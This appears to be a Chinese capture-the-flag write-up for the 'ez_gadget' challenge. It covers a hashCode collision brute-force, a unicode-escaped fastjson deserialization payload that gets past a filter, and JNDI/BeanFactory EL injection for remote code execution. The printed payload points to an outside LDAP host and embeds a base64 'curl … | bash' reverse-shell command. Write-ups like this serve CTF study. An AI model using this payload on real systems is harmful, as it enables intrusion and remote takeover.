# ez_gadget
先看路由
/json
需要有一个 hash
碰撞
key 直接爆破即可
for(long i = 0 ; i < 99999999999L; i++){ | |
if (Long.toHexString(i).hashCode() == key.hashCode()) | |
{ | |
System.out.println(Long.toHexString(i)); | |
} | |
} |
题目是
爆破出来
250f144d3
经过过滤之后能有 JSON.parseObject
,那么看看依赖
fastjson 1.6.2
fastjson
反序列化和正则绕过
https://www.anquanke.com/post/id/232774#h3-2
https://y4tacker.github.io/2022/03/30/year/2022/3 / 浅谈 Fastjson 绕 waf/
unicode
绕过即可
然后高版本 jdk 的话用这个工具
https://github.com/Jeromeyoung/JNDIExploit-1
原理是浅蓝师傅发的文章中利用本地 BeanFactory
配合 el
表达式来 RCE
https://tttang.com/archive/1405/#toc_0x01-beanfactory
input={"@type":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0038\u002e\u0031\u0032\u0039\u002e\u0034\u0032\u002e\u0031\u0034\u0030\u003a\u0038\u0030\u0038\u0039\u002f\u0054\u006f\u006d\u0063\u0061\u0074\u0042\u0079\u0070\u0061\u0073\u0073\u002f\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u002f\u007b\u0065\u0063\u0068\u006f\u002c\u0059\u0033\u0056\u0079\u0062\u0043\u0041\u0034\u004c\u006a\u0045\u0079\u004f\u0053\u0034\u0030\u004d\u0069\u0034\u0078\u004e\u0044\u0041\u0036\u004d\u006a\u0049\u007a\u004d\u0079\u0039\u0070\u0062\u006d\u0052\u006c\u0065\u0043\u0035\u0077\u0061\u0048\u0041\u0067\u0066\u0043\u0042\u0069\u0059\u0058\u004e\u006f\u007d\u007c\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u002d\u0064\u007d\u007c\u007b\u0062\u0061\u0073\u0068\u002c\u002d\u0069\u007d"}&str=250f144d3 |
注意这里命令用 curl
反弹 shell
并且 base64
编码
# file_session
https://erroratao.github.io/2022/07/10/File_Session/